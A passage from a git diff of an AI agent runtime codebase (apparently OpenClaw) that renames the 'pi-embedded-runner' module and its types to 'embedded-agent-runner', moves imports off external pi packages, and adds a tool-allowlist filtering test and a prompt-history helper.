isStrictAgenticExecutionContractActive } from "../execution-contract.js"; import { coerceToFailoverError, @@ -68,29 +89,8 @@ import { OPENAI_CODEX_PROVIDER_ID, listOpenAIAuthProfileProvidersForAgentRuntime, resolveContextConfigProviderForRuntime, - resolveSelectedOpenAIPiRuntimeProvider, + resolveSelectedOpenAIRuntimeProvider, } from "../openai-codex-routing.js"; -import { - retireSessionMcpRuntime, - retireSessionMcpRuntimeForSessionKey, -} from "../pi-bundle-mcp-tools.js"; -import { - classifyFailoverReason, - extractObservedOverflowTokenCount, - type FailoverReason, - formatAssistantErrorText, - isAuthAssistantError, - isBillingAssistantError, - isCompactionFailureError, - isFailoverAssistantError, - isFailoverErrorMessage, - isLikelyContextOverflowError, - isRateLimitAssistantError, - parseImageDimensionError, - parseImageSizeError, - pickFallbackThinkingLevel, -} from "../pi-embedded-helpers.js"; -import { resolveProcessToolScopeKey } from "../pi-tools.js"; import { resolveProviderIdForAuth } from "../provider-auth-aliases.js"; import { runAgentCleanupStep } from "../run-cleanup-timeout.js"; import { buildAgentRuntimeAuthPlan } from "../runtime-plan/auth.js"; @@ -175,7 +175,7 @@ import { resolveRunLivenessState, shouldTreatEmptyAssistantReplyAsSilent, } from "./run/incomplete-turn.js"; -import type { RunEmbeddedPiAgentParams } from "./run/params.js"; +import type { RunEmbeddedAgentParams } from "./run/params.js"; import { buildEmbeddedRunPayloads } from "./run/payloads.js"; import { handleRetryLimitExhaustion } from "./run/retry-limit.js"; import { @@ -190,8 +190,8 @@ import { truncateOversizedToolResultsInSession, } from "./tool-result-truncation.js"; import type { - EmbeddedPiAgentMeta, - EmbeddedPiRunResult, + EmbeddedAgentMeta, + EmbeddedAgentRunResult, TraceAttempt, ToolSummaryTrace, EmbeddedRunLivenessState, @@ -236,7 +236,7 @@ function withEmbeddedRunLaneTimeout( } function resolveEmbeddedRunSessionQueuePriority( - trigger: RunEmbeddedPiAgentParams["trigger"], + trigger: RunEmbeddedAgentParams["trigger"], ): CommandQueueEnqueueOptions["priority"] { switch (trigger) { case "user": @@ -358,7 +358,7 @@ function buildTraceToolSummary(params: { * See: https://github.com/openclaw/openclaw/issues/60552 */ function backfillSessionKey(params: { - config: RunEmbeddedPiAgentParams["config"]; + config: RunEmbeddedAgentParams["config"]; sessionId: string; sessionKey?: string; agentId?: string; @@ -406,9 +406,9 @@ function buildHandledReplyPayloads(reply?: ReplyPayload) { ]; } -export async function runEmbeddedPiAgent( - params: RunEmbeddedPiAgentParams, -): Promise { +export async function runEmbeddedAgent( + params: RunEmbeddedAgentParams, +): Promise { // Resolve sessionKey early so all downstream consumers (hooks, LCM, compaction) // receive a non-null key even when callers omit it. See #60552. const effectiveSessionKey = backfillSessionKey({ @@ -487,9 +487,9 @@ export async function runEmbeddedPiAgent( const startupStages = createEmbeddedRunStageTracker(); let startupStagesEmitted = false; const notifyExecutionPhase = ( - phase: Parameters>[0]["phase"], + phase: Parameters>[0]["phase"], extra?: Omit< - Parameters>[0], + Parameters>[0], "phase" >, ) => { @@ -497,7 +497,7 @@ export async function runEmbeddedPiAgent( params.onExecutionPhase?.({ phase, ...extra }); }; const notifyRunProgress = ( - info: Parameters>[0], + info: Parameters>[0], ) => { noteLaneTaskProgress(); params.onRunProgress?.(info); @@ -536,7 +536,7 @@ export async function runEmbeddedPiAgent( const redactedWorkspace = redactRunIdentifier(resolvedWorkspace); if (workspaceResolution.usedFallback) { log.warn( - `[workspace-fallback] caller=runEmbeddedPiAgent reason=${workspaceResolution.fallbackReason} run=${params.runId} session=${redactedSessionId} sessionKey=${redactedSessionKey} agent=${workspaceResolution.agentId} workspace=${redactedWorkspace}`, + `[workspace-fallback] caller=runEmbeddedAgent reason=${workspaceResolution.fallbackReason} run=${params.runId} session=${redactedSessionId} sessionKey=${redactedSessionKey} agent=${workspaceResolution.agentId} workspace=${redactedWorkspace}`, ); } startupStages.mark("workspace"); @@ -608,7 +608,7 @@ export async function runEmbeddedPiAgent( }); provider = hookSelection.provider; modelId = hookSelection.modelId; - const legacyBeforeAgentStartResult = hookSelection.legacyBeforeAgentStartResult; + const beforeAgentStartResult = hookSelection.beforeAgentStartResult; startupStages.mark("hooks"); await ensureSelectedAgentHarnessPlugin({ provider, @@ -628,9 +628,9 @@ export async function runEmbeddedPiAgent( agentHarnessId: params.agentHarnessId, agentHarnessRuntimeOverride: params.agentHarnessRuntimeOverride, }); - const pluginHarnessOwnsTransport = agentHarness.id !== "pi"; + const pluginHarnessOwnsTransport = agentHarness.id !== "openclaw"; const modelConfigProvider = provider; - const selectedPiRuntimeProvider = resolveSelectedOpenAIPiRuntimeProvider({ + const selectedRuntimeProvider = resolveSelectedOpenAIRuntimeProvider({ provider, harnessRuntime: agentHarness.id, agentHarnessId: agentHarness.id, @@ -646,9 +646,9 @@ export async function runEmbeddedPiAgent( params.config, { // Plugin dynamic model hooks can resolve explicit model refs without - // first generating PI models.json. This keeps one-shot model runs from + // first generating OpenClaw models.json. This keeps one-shot model runs from // blocking on unrelated provider discovery. - skipPiDiscovery: true, + skipAgentDiscovery: true, workspaceDir: resolvedWorkspace, }, ); @@ -663,19 +663,19 @@ export async function runEmbeddedPiAgent( workspaceDir: resolvedWorkspace, }); })(); - if (selectedPiRuntimeProvider !== provider && modelResolution.model) { + if (selectedRuntimeProvider !== provider && modelResolution.model) { const runtimeModelResolution = await resolveModelAsync( - selectedPiRuntimeProvider, + selectedRuntimeProvider, modelId, agentDir, params.config, { - skipPiDiscovery: true, + skipAgentDiscovery: true, workspaceDir: resolvedWorkspace, }, ); if (runtimeModelResolution.model) { - provider = selectedPiRuntimeProvider; + provider = selectedRuntimeProvider; modelResolution = runtimeModelResolution; } } @@ -1019,7 +1019,7 @@ export async function runEmbeddedPiAgent( ? advancePluginHarnessAuthProfile : advanceAuthProfile; - // Plugin harnesses own their model transport/auth. Running PI's generic + // Plugin harnesses own their model transport/auth. Running OpenClaw's generic // auth bootstrap here can turn synthetic provider markers into real // vendor-token refresh attempts before the plugin gets control. if (!pluginHarnessOwnsTransport || pluginHarnessNeedsOpenClawAuthBootstrap) { @@ -1077,7 +1077,7 @@ export async function runEmbeddedPiAgent( let lastRunPromptUsage: ReturnType | undefined; let autoCompactionCount = 0; let lastCompactionTokensAfter: number | undefined; - let lastContextBudgetStatus: EmbeddedPiAgentMeta["contextBudgetStatus"]; + let lastContextBudgetStatus: EmbeddedAgentMeta["contextBudgetStatus"]; let runLoopIterations = 0; let overloadProfileRotations = 0; let planningOnlyRetryAttempts = 0; @@ -1141,10 +1141,10 @@ export async function runEmbeddedPiAgent( let activeSessionId = params.sessionId; let activeSessionFile = params.sessionFile; let suppressNextUserMessagePersistence = params.suppressNextUserMessagePersistence ?? false; - // Pi owns JSONL persistence; this marker only lets the outer retry avoid + // The embedded agent owns JSONL persistence; this marker lets the outer retry avoid // replaying the same inbound channel message after overflow compaction. let lastPersistedCurrentMessageId: string | number | undefined; - const onUserMessagePersisted: RunEmbeddedPiAgentParams["onUserMessagePersisted"] = ( + const onUserMessagePersisted: RunEmbeddedAgentParams["onUserMessagePersisted"] = ( message, ) => { if (params.currentMessageId !== undefined) { @@ -1187,8 +1187,8 @@ export async function runEmbeddedPiAgent( const maybeMarkAuthProfileFailure = async (failure: { profileId?: string; reason?: AuthProfileFailureReason | null; - config?: RunEmbeddedPiAgentParams["config"]; - agentDir?: RunEmbeddedPiAgentParams["agentDir"]; + config?: RunEmbeddedAgentParams["config"]; + agentDir?: RunEmbeddedAgentParams["agentDir"]; modelId?: string; }) => { const { profileId, reason } = failure; @@ -1282,7 +1282,7 @@ export async function runEmbeddedPiAgent( ...(params.sessionKey ? { sessionKey: params.sessionKey } : {}), }); }; - // When the engine owns compaction, compactEmbeddedPiSessionDirect is + // When the engine owns compaction, compactEmbeddedAgentSessionDirect is // bypassed. Fire lifecycle hooks here so recovery paths still notify // subscribers like memory extensions and usage trackers. const runOwnsCompactionBeforeHook = async (reason: string) => { @@ -1495,8 +1495,8 @@ export async function runEmbeddedPiAgent( provider, modelId, // Use the harness selected before model/auth setup for the actual - // attempt too. Otherwise plugin-owned transports can skip PI auth - // bootstrap but drift back to PI when the attempt is created. + // attempt too. Otherwise plugin-owned transports can skip OpenClaw auth + // bootstrap but drift back to OpenClaw when the attempt is created. agentHarnessId: agentHarness.id, ...(params.sessionKey ? { @@ -1526,7 +1526,7 @@ export async function runEmbeddedPiAgent( toolAuthProfileStore: agentHarness.id === "codex" ? attemptAuthProfileStore : undefined, modelRegistry, agentId: workspaceResolution.agentId, - legacyBeforeAgentStartResult, + beforeAgentStartResult, thinkLevel, onToolOutcome: observePostCompactionToolOutcome, onRunProgress: notifyRunProgress, @@ -2130,7 +2130,7 @@ export async function runEmbeddedPiAgent( params.currentMessageId !== undefined && params.currentMessageId === lastPersistedCurrentMessageId ) { - // The first attempt reached Pi far enough to persist this user turn. + // The first attempt reached the embedded agent far enough to persist this user turn. // Retrying the original prompt would replay it, so resume from the // compacted transcript and suppress the next user append. nextAttemptPromptOverride = MID_TURN_PRECHECK_CONTINUATION_PROMPT; @@ -2750,7 +2750,7 @@ export async function runEmbeddedPiAgent( model: model.id, assistant: sessionLastAssistant, }); - const agentMeta: EmbeddedPiAgentMeta = { + const agentMeta: EmbeddedAgentMeta = { sessionId: sessionIdUsed, sessionFile: sessionFileUsed, provider: reportedModelRef.provider, diff --git a/src/agents/pi-embedded-runner/run/AGENTS.md b/src/agents/embedded-agent-runner/run/AGENTS.md similarity index 100% rename from src/agents/pi-embedded-runner/run/AGENTS.md rename to src/agents/embedded-agent-runner/run/AGENTS.md diff --git a/src/agents/pi-embedded-runner/run/CLAUDE.md b/src/agents/embedded-agent-runner/run/CLAUDE.md similarity index 100% rename from src/agents/pi-embedded-runner/run/CLAUDE.md rename to src/agents/embedded-agent-runner/run/CLAUDE.md diff --git a/src/agents/pi-embedded-runner/run/abortable.test.ts b/src/agents/embedded-agent-runner/run/abortable.test.ts similarity index 100% rename from src/agents/pi-embedded-runner/run/abortable.test.ts rename to src/agents/embedded-agent-runner/run/abortable.test.ts diff --git a/src/agents/pi-embedded-runner/run/abortable.ts b/src/agents/embedded-agent-runner/run/abortable.ts similarity index 100% rename from src/agents/pi-embedded-runner/run/abortable.ts rename to src/agents/embedded-agent-runner/run/abortable.ts diff --git a/src/agents/pi-embedded-runner/run/assistant-failover.test.ts b/src/agents/embedded-agent-runner/run/assistant-failover.test.ts similarity index 99% rename from src/agents/pi-embedded-runner/run/assistant-failover.test.ts rename to src/agents/embedded-agent-runner/run/assistant-failover.test.ts index 45cc393cb12..f319b70a8aa 100644 --- a/src/agents/pi-embedded-runner/run/assistant-failover.test.ts +++ b/src/agents/embedded-agent-runner/run/assistant-failover.test.ts @@ -1,6 +1,6 @@ import { describe, expect, it, vi } from "vitest"; +import { formatBillingErrorMessage } from "../../embedded-agent-helpers.js"; import { FailoverError } from "../../failover-error.js"; -import { formatBillingErrorMessage } from "../../pi-embedded-helpers.js"; import { handleAssistantFailover } from "./assistant-failover.js"; type Params = Parameters[0]; diff --git a/src/agents/pi-embedded-runner/run/assistant-failover.ts b/src/agents/embedded-agent-runner/run/assistant-failover.ts similarity index 99% rename from src/agents/pi-embedded-runner/run/assistant-failover.ts rename to src/agents/embedded-agent-runner/run/assistant-failover.ts index 10ab2300146..1887621f183 100644 --- a/src/agents/pi-embedded-runner/run/assistant-failover.ts +++ b/src/agents/embedded-agent-runner/run/assistant-failover.ts @@ -1,14 +1,14 @@ -import type { AssistantMessage } from "@earendil-works/pi-ai"; import type { OpenClawConfig } from "../../../config/types.openclaw.js"; +import type { AssistantMessage } from "../../../llm/types.js"; import { sanitizeForLog } from "../../../terminal/ansi.js"; import type { AuthProfileFailureReason } from "../../auth-profiles.js"; -import { FailoverError, resolveFailoverStatus } from "../../failover-error.js"; import { formatAssistantErrorText, formatBillingErrorMessage, isTimeoutErrorMessage, type FailoverReason, -} from "../../pi-embedded-helpers.js"; +} from "../../embedded-agent-helpers.js"; +import { FailoverError, resolveFailoverStatus } from "../../failover-error.js"; import { mergeRetryFailoverReason, resolveRunFailoverDecision, diff --git a/src/agents/pi-embedded-runner/run/attempt-bootstrap-routing.ts b/src/agents/embedded-agent-runner/run/attempt-bootstrap-routing.ts similarity index 100% rename from src/agents/pi-embedded-runner/run/attempt-bootstrap-routing.ts rename to src/agents/embedded-agent-runner/run/attempt-bootstrap-routing.ts diff --git a/src/agents/pi-embedded-runner/run/attempt-http-runtime.ts b/src/agents/embedded-agent-runner/run/attempt-http-runtime.ts similarity index 100% rename from src/agents/pi-embedded-runner/run/attempt-http-runtime.ts rename to src/agents/embedded-agent-runner/run/attempt-http-runtime.ts diff --git a/src/agents/pi-embedded-runner/run/attempt-session.ts b/src/agents/embedded-agent-runner/run/attempt-session.ts similarity index 89% rename from src/agents/pi-embedded-runner/run/attempt-session.ts rename to src/agents/embedded-agent-runner/run/attempt-session.ts index fe2bbdcbcab..31a6502bf5a 100644 --- a/src/agents/pi-embedded-runner/run/attempt-session.ts +++ b/src/agents/embedded-agent-runner/run/attempt-session.ts @@ -1,4 +1,4 @@ -import type { CreateAgentSessionOptions } from "@earendil-works/pi-coding-agent"; +import type { CreateAgentSessionOptions } from "../../sessions/index.js"; export type EmbeddedAgentSessionOptions = { cwd: string; diff --git a/src/agents/pi-embedded-runner/run/attempt-stage-timing.test.ts b/src/agents/embedded-agent-runner/run/attempt-stage-timing.test.ts similarity index 100% rename from src/agents/pi-embedded-runner/run/attempt-stage-timing.test.ts rename to src/agents/embedded-agent-runner/run/attempt-stage-timing.test.ts diff --git a/src/agents/pi-embedded-runner/run/attempt-stage-timing.ts b/src/agents/embedded-agent-runner/run/attempt-stage-timing.ts similarity index 100% rename from src/agents/pi-embedded-runner/run/attempt-stage-timing.ts rename to src/agents/embedded-agent-runner/run/attempt-stage-timing.ts diff --git a/src/agents/pi-embedded-runner/run/attempt-system-prompt.test.ts b/src/agents/embedded-agent-runner/run/attempt-system-prompt.test.ts similarity index 100% rename from src/agents/pi-embedded-runner/run/attempt-system-prompt.test.ts rename to src/agents/embedded-agent-runner/run/attempt-system-prompt.test.ts diff --git a/src/agents/pi-embedded-runner/run/attempt-system-prompt.ts b/src/agents/embedded-agent-runner/run/attempt-system-prompt.ts similarity index 100% rename from src/agents/pi-embedded-runner/run/attempt-system-prompt.ts rename to src/agents/embedded-agent-runner/run/attempt-system-prompt.ts diff --git a/src/agents/pi-embedded-runner/run/attempt-tool-construction-plan.test.ts b/src/agents/embedded-agent-runner/run/attempt-tool-construction-plan.test.ts similarity index 92% rename from src/agents/pi-embedded-runner/run/attempt-tool-construction-plan.test.ts rename to src/agents/embedded-agent-runner/run/attempt-tool-construction-plan.test.ts index 8c54161fe24..c69b643233c 100644 --- a/src/agents/pi-embedded-runner/run/attempt-tool-construction-plan.test.ts +++ b/src/agents/embedded-agent-runner/run/attempt-tool-construction-plan.test.ts @@ -130,6 +130,38 @@ describe("applyEmbeddedAttemptToolsAllow", () => { ).toEqual(["memory_search", "memory_get"]); }); + it("filters bundled runtime tools by explicit tool name and bundled plugin id", () => { + const tools = [ + { name: "strict__strict_probe" }, + { name: "loose__extra_probe" }, + { name: "lsp_hover_typescript" }, + { name: "lsp_definition_typescript" }, + ]; + const toolMeta = (tool: { name: string }) => { + if (tool.name.includes("__")) { + return { pluginId: "bundle-mcp" }; + } + if (tool.name.startsWith("lsp_")) { + return { pluginId: "bundle-lsp" }; + } + return undefined; + }; + + expect( + applyEmbeddedAttemptToolsAllow(tools, ["strict__strict_probe"], { toolMeta }).map( + (tool) => tool.name, + ), + ).toEqual(["strict__strict_probe"]); + expect( + applyEmbeddedAttemptToolsAllow(tools, ["lsp_hover_typescript"], { toolMeta }).map( + (tool) => tool.name, + ), + ).toEqual(["lsp_hover_typescript"]); + expect( + applyEmbeddedAttemptToolsAllow(tools, ["bundle-mcp"], { toolMeta }).map((tool) => tool.name), + ).toEqual(["strict__strict_probe", "loose__extra_probe"]); + }); + it("treats an explicit empty toolsAllow as no tools", () => { const tools = [{ name: "exec" }, { name: "read" }, { name: "message" }]; diff --git a/src/agents/pi-embedded-runner/run/attempt-tool-construction-plan.ts b/src/agents/embedded-agent-runner/run/attempt-tool-construction-plan.ts similarity index 98% rename from src/agents/pi-embedded-runner/run/attempt-tool-construction-plan.ts rename to src/agents/embedded-agent-runner/run/attempt-tool-construction-plan.ts index d9d6827879a..262efa53bac 100644 --- a/src/agents/pi-embedded-runner/run/attempt-tool-construction-plan.ts +++ b/src/agents/embedded-agent-runner/run/attempt-tool-construction-plan.ts @@ -1,5 +1,5 @@ -import { TOOL_NAME_SEPARATOR } from "../../pi-bundle-mcp-names.js"; -import type { OpenClawCodingToolConstructionPlan } from "../../pi-tools.js"; +import { TOOL_NAME_SEPARATOR } from "../../agent-bundle-mcp-names.js"; +import type { OpenClawCodingToolConstructionPlan } from "../../agent-tools.js"; import { isToolAllowedByPolicyName } from "../../tool-policy-match.js"; import { buildPluginToolGroups, diff --git a/src/agents/pi-embedded-runner/run/attempt-trajectory-status.test.ts b/src/agents/embedded-agent-runner/run/attempt-trajectory-status.test.ts similarity index 100% rename from src/agents/pi-embedded-runner/run/attempt-trajectory-status.test.ts rename to src/agents/embedded-agent-runner/run/attempt-trajectory-status.test.ts diff --git a/src/agents/pi-embedded-runner/run/attempt-trajectory-status.ts b/src/agents/embedded-agent-runner/run/attempt-trajectory-status.ts similarity index 100% rename from src/agents/pi-embedded-runner/run/attempt-trajectory-status.ts rename to src/agents/embedded-agent-runner/run/attempt-trajectory-status.ts diff --git a/src/agents/pi-embedded-runner/run/attempt.context-engine-helpers.ts b/src/agents/embedded-agent-runner/run/attempt.context-engine-helpers.ts similarity index 97% rename from src/agents/pi-embedded-runner/run/attempt.context-engine-helpers.ts rename to src/agents/embedded-agent-runner/run/attempt.context-engine-helpers.ts index e44ae706ab3..7ff6a7eeb27 100644 --- a/src/agents/pi-embedded-runner/run/attempt.context-engine-helpers.ts +++ b/src/agents/embedded-agent-runner/run/attempt.context-engine-helpers.ts @@ -1,7 +1,7 @@ -import type { AgentMessage } from "@earendil-works/pi-agent-core"; -import type { AssistantMessage } from "@earendil-works/pi-ai"; import type { ContextEngine } from "../../../context-engine/types.js"; +import type { AssistantMessage } from "../../../llm/types.js"; import type { BootstrapMode } from "../../bootstrap-mode.js"; +import type { AgentMessage } from "../../runtime/index.js"; import { normalizeUsage, type NormalizedUsage } from "../../usage.js"; import type { PromptCacheChange } from "../prompt-cache-observability.js"; import type { EmbeddedRunAttemptResult } from "./types.js"; diff --git a/src/agents/pi-embedded-runner/run/attempt.memory-flush-forwarding.test.ts b/src/agents/embedded-agent-runner/run/attempt.memory-flush-forwarding.test.ts similarity index 93% rename from src/agents/pi-embedded-runner/run/attempt.memory-flush-forwarding.test.ts rename to src/agents/embedded-agent-runner/run/attempt.memory-flush-forwarding.test.ts index 23651367871..e94e54c6a5f 100644 --- a/src/agents/pi-embedded-runner/run/attempt.memory-flush-forwarding.test.ts +++ b/src/agents/embedded-agent-runner/run/attempt.memory-flush-forwarding.test.ts @@ -1,10 +1,10 @@ import fs from "node:fs/promises"; import os from "node:os"; import path from "node:path"; -import type { Api, Model } from "@earendil-works/pi-ai"; -import type { AuthStorage, ModelRegistry } from "@earendil-works/pi-coding-agent"; +import type { AuthStorage, ModelRegistry } from "openclaw/plugin-sdk/agent-sessions"; +import type { Api, Model } from "openclaw/plugin-sdk/llm"; import { describe, expect, it, vi } from "vitest"; -import type { AnyAgentTool } from "../../pi-tools.types.js"; +import type { AnyAgentTool } from "../../agent-tools.types.js"; import { buildEmbeddedAttemptToolRunContext } from "./attempt.tool-run-context.js"; const MEMORY_RELATIVE_PATH = "memory/2026-03-24.md"; @@ -26,7 +26,7 @@ function createAttemptParams(workspaceDir: string) { id: "gpt-5.4", input: ["text"], contextWindow: 128_000, - } as Model, + } as Model, authStorage: {} as AuthStorage, modelRegistry: {} as ModelRegistry, thinkLevel: "off" as const, @@ -65,7 +65,7 @@ describe("runEmbeddedAttempt memory flush tool forwarding", () => { await fs.mkdir(path.dirname(memoryFile), { recursive: true }); await fs.writeFile(memoryFile, "seed", "utf-8"); - const { wrapToolMemoryFlushAppendOnlyWrite } = await import("../../pi-tools.read.js"); + const { wrapToolMemoryFlushAppendOnlyWrite } = await import("../../agent-tools.read.js"); const fallbackWrite = vi.fn(async () => { throw new Error("append-only wrapper should not delegate to the base write tool"); }); diff --git a/src/agents/pi-embedded-runner/run/attempt.model-diagnostic-events.test.ts b/src/agents/embedded-agent-runner/run/attempt.model-diagnostic-events.test.ts similarity index 99% rename from src/agents/pi-embedded-runner/run/attempt.model-diagnostic-events.test.ts rename to src/agents/embedded-agent-runner/run/attempt.model-diagnostic-events.test.ts index cf28872f2eb..f9fad48c174 100644 --- a/src/agents/pi-embedded-runner/run/attempt.model-diagnostic-events.test.ts +++ b/src/agents/embedded-agent-runner/run/attempt.model-diagnostic-events.test.ts @@ -1,4 +1,4 @@ -import type { StreamFn } from "@earendil-works/pi-agent-core"; +import type { StreamFn } from "openclaw/plugin-sdk/agent-core"; import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; import { onInternalDiagnosticEvent, diff --git a/src/agents/pi-embedded-runner/run/attempt.model-diagnostic-events.ts b/src/agents/embedded-agent-runner/run/attempt.model-diagnostic-events.ts similarity index 99% rename from src/agents/pi-embedded-runner/run/attempt.model-diagnostic-events.ts rename to src/agents/embedded-agent-runner/run/attempt.model-diagnostic-events.ts index e621fa52c17..0c159cd5214 100644 --- a/src/agents/pi-embedded-runner/run/attempt.model-diagnostic-events.ts +++ b/src/agents/embedded-agent-runner/run/attempt.model-diagnostic-events.ts @@ -1,4 +1,3 @@ -import type { StreamFn } from "@earendil-works/pi-agent-core"; import { fireAndForgetBoundedHook } from "../../../hooks/fire-and-forget.js"; import { diagnosticErrorCategory, @@ -28,6 +27,7 @@ import type { PluginHookModelCallEndedEvent, PluginHookModelCallStartedEvent, } from "../../../plugins/hook-types.js"; +import type { StreamFn } from "../../runtime/index.js"; export { diagnosticErrorCategory }; diff --git a/src/agents/pi-embedded-runner/run/attempt.prompt-helpers.test.ts b/src/agents/embedded-agent-runner/run/attempt.prompt-helpers.test.ts similarity index 100% rename from src/agents/pi-embedded-runner/run/attempt.prompt-helpers.test.ts rename to src/agents/embedded-agent-runner/run/attempt.prompt-helpers.test.ts diff --git a/src/agents/pi-embedded-runner/run/attempt.prompt-helpers.ts b/src/agents/embedded-agent-runner/run/attempt.prompt-helpers.ts similarity index 93% rename from src/agents/pi-embedded-runner/run/attempt.prompt-helpers.ts rename to src/agents/embedded-agent-runner/run/attempt.prompt-helpers.ts index afe06536d56..88737ba0231 100644 --- a/src/agents/pi-embedded-runner/run/attempt.prompt-helpers.ts +++ b/src/agents/embedded-agent-runner/run/attempt.prompt-helpers.ts @@ -14,12 +14,11 @@ import type { } from "../../../plugins/types.js"; import { isCronSessionKey, isSubagentSessionKey } from "../../../routing/session-key.js"; import { joinPresentTextSegments } from "../../../shared/text/join-segments.js"; +import { resolveProcessToolScopeKey } from "../../agent-tools.js"; import { listActiveProcessSessionReferences } from "../../bash-process-references.js"; import { resolveHeartbeatPromptForSystemPrompt } from "../../heartbeat-system-prompt.js"; import { buildActiveImageGenerationTaskPromptContextForSession } from "../../image-generation-task-status.js"; import { buildActiveMusicGenerationTaskPromptContextForSession } from "../../music-generation-task-status.js"; -import { hasOpenAICompatibleConversationTurn } from "../../openai-compatible-conversation-turn.js"; -import { resolveProcessToolScopeKey } from "../../pi-tools.js"; import { prependSystemPromptAdditionAfterCacheBoundary } from "../../system-prompt-cache-boundary.js"; import { resolveEffectiveToolFsWorkspaceOnly } from "../../tool-fs-policy.js"; import { derivePromptTokens, type NormalizedUsage } from "../../usage.js"; @@ -99,7 +98,7 @@ export async function resolvePromptBuildHookResult(params: { messages: unknown[]; hookCtx: PluginHookAgentContext; hookRunner?: PromptBuildHookRunner | null; - legacyBeforeAgentStartResult?: PluginHookBeforeAgentStartResult; + beforeAgentStartResult?: PluginHookBeforeAgentStartResult; }): Promise { const runId = params.hookCtx.runId; const cachedInjections = runId ? promptBuildDrainCache.get(runId) : undefined; @@ -163,8 +162,8 @@ export async function resolvePromptBuildHookResult(params: { return undefined; }) : undefined; - const legacyResult = - params.legacyBeforeAgentStartResult ?? + const beforeAgentStartResult = + params.beforeAgentStartResult ?? (params.hookRunner?.hasHooks("before_agent_start") ? await params.hookRunner .runBeforeAgentStart( @@ -176,34 +175,34 @@ export async function resolvePromptBuildHookResult(params: { ) .catch((hookErr: unknown) => { log.warn( - `before_agent_start hook (legacy prompt build path) failed: ${String(hookErr)}`, + `deprecated before_agent_start hook failed during prompt build: ${String(hookErr)}`, ); return undefined; }) : undefined); return { - systemPrompt: promptBuildResult?.systemPrompt ?? legacyResult?.systemPrompt, + systemPrompt: promptBuildResult?.systemPrompt ?? beforeAgentStartResult?.systemPrompt, prependContext: joinPresentTextSegments([ queuedContext.prependContext, turnPrepareResult?.prependContext, heartbeatContribution?.prependContext, promptBuildResult?.prependContext, - legacyResult?.prependContext, + beforeAgentStartResult?.prependContext, ]), appendContext: joinPresentTextSegments([ queuedContext.appendContext, turnPrepareResult?.appendContext, heartbeatContribution?.appendContext, promptBuildResult?.appendContext, - legacyResult?.appendContext, + beforeAgentStartResult?.appendContext, ]), prependSystemContext: joinPresentTextSegments([ promptBuildResult?.prependSystemContext, - legacyResult?.prependSystemContext, + beforeAgentStartResult?.prependSystemContext, ]), appendSystemContext: joinPresentTextSegments([ promptBuildResult?.appendSystemContext, - legacyResult?.appendSystemContext, + beforeAgentStartResult?.appendSystemContext, ]), }; } @@ -252,11 +251,36 @@ export function resolvePromptSubmissionSkipReason(params: { if (params.prompt.trim().length > 0 || params.imageCount > 0) { return null; } - return hasOpenAICompatibleConversationTurn(params.messages) + return params.messages.some(hasVisiblePromptHistory) ? "blank_user_prompt" : "empty_prompt_history_images"; } +function hasVisiblePromptHistory(message: unknown): boolean { + if (!message || typeof message !== "object") { + return false; + } + const record = message as { role?: unknown; content?: unknown }; + if (record.role !== "user" && record.role !== "assistant") { + return false; + } + return hasNonEmptyContent(record.content); +} + +function hasNonEmptyContent(content: unknown): boolean { + if (typeof content === "string") { + return content.trim().length > 0; + } + if (Array.isArray(content)) { + return content.some(hasNonEmptyContent); + } + if (!content || typeof content !== "object") { + return false; + } + const record = content as { text?: unknown; content?: unknown }; + return hasNonEmptyContent(record.text) || hasNonEmptyContent(record.content); +} + const QUEUED_USER_MESSAGE_MARKER = "[Queued user message that arrived while the previous turn was still active]"; const MAX_STRUCTURED_MEDIA_REF_CHARS = 300; diff --git a/src/agents/pi-embedded-runner/run/attempt.queue-message.test.ts b/src/agents/embedded-agent-runner/run/attempt.queue-message.test.ts similarity index 91% rename from src/agents/pi-embedded-runner/run/attempt.queue-message.test.ts rename to src/agents/embedded-agent-runner/run/attempt.queue-message.test.ts index 27d3303e4c7..1d99d970fea 100644 --- a/src/agents/pi-embedded-runner/run/attempt.queue-message.test.ts +++ b/src/agents/embedded-agent-runner/run/attempt.queue-message.test.ts @@ -1,10 +1,10 @@ import { describe, expect, it, vi } from "vitest"; -import { testing, type EmbeddedPiActiveSessionSteerTarget } from "./attempt.js"; +import { testing, type EmbeddedAgentActiveSessionSteerTarget } from "./attempt.js"; -describe("embedded Pi queued steering cancellation", () => { +describe("embedded OpenClaw queued steering cancellation", () => { it("waits for the queued user message_end transcript boundary", async () => { let emit!: (event: unknown) => void; - const activeSession: EmbeddedPiActiveSessionSteerTarget = { + const activeSession: EmbeddedAgentActiveSessionSteerTarget = { getSteeringMessages: () => [], steer: async () => {}, subscribe: (listener) => { @@ -67,7 +67,7 @@ describe("embedded Pi queued steering cancellation", () => { }; const steeringUiMessages = ["keep this rich payload", "timed-out completion announce"]; const queueMessages = [unrelatedMessage, targetMessage, trailingMessage]; - const activeSession: EmbeddedPiActiveSessionSteerTarget = { + const activeSession: EmbeddedAgentActiveSessionSteerTarget = { agent: { steeringQueue: { messages: queueMessages, @@ -105,7 +105,7 @@ describe("embedded Pi queued steering cancellation", () => { const steeringUiMessages = ["completion after parent stopped", "keep unrelated queue entry"]; const queueMessages = [targetMessage, keepMessage]; let unsubscribed = false; - const activeSession: EmbeddedPiActiveSessionSteerTarget = { + const activeSession: EmbeddedAgentActiveSessionSteerTarget = { agent: { steeringQueue: { messages: queueMessages, @@ -143,7 +143,7 @@ describe("embedded Pi queued steering cancellation", () => { } }); - it("keeps queued steering pending when Pi auto-retry starts after agent_end", async () => { + it("keeps queued steering pending when auto-retry starts after agent_end", async () => { vi.useFakeTimers(); try { let emit!: (event: unknown) => void; @@ -154,7 +154,7 @@ describe("embedded Pi queued steering cancellation", () => { }; const steeringUiMessages = ["completion survives retry"]; const queueMessages = [targetMessage]; - const activeSession: EmbeddedPiActiveSessionSteerTarget = { + const activeSession: EmbeddedAgentActiveSessionSteerTarget = { agent: { steeringQueue: { messages: queueMessages, @@ -195,7 +195,7 @@ describe("embedded Pi queued steering cancellation", () => { } }); - it("keeps queued steering pending when Pi auto-compaction starts after agent_end", async () => { + it("keeps queued steering pending when auto-compaction starts after agent_end", async () => { vi.useFakeTimers(); try { let emit!: (event: unknown) => void; @@ -206,7 +206,7 @@ describe("embedded Pi queued steering cancellation", () => { }; const steeringUiMessages = ["completion survives compaction"]; const queueMessages = [targetMessage]; - const activeSession: EmbeddedPiActiveSessionSteerTarget = { + const activeSession: EmbeddedAgentActiveSessionSteerTarget = { agent: { steeringQueue: { messages: queueMessages, diff --git a/src/agents/pi-embedded-runner/run/attempt.session-lock.test.ts b/src/agents/embedded-agent-runner/run/attempt.session-lock.test.ts similarity index 98% rename 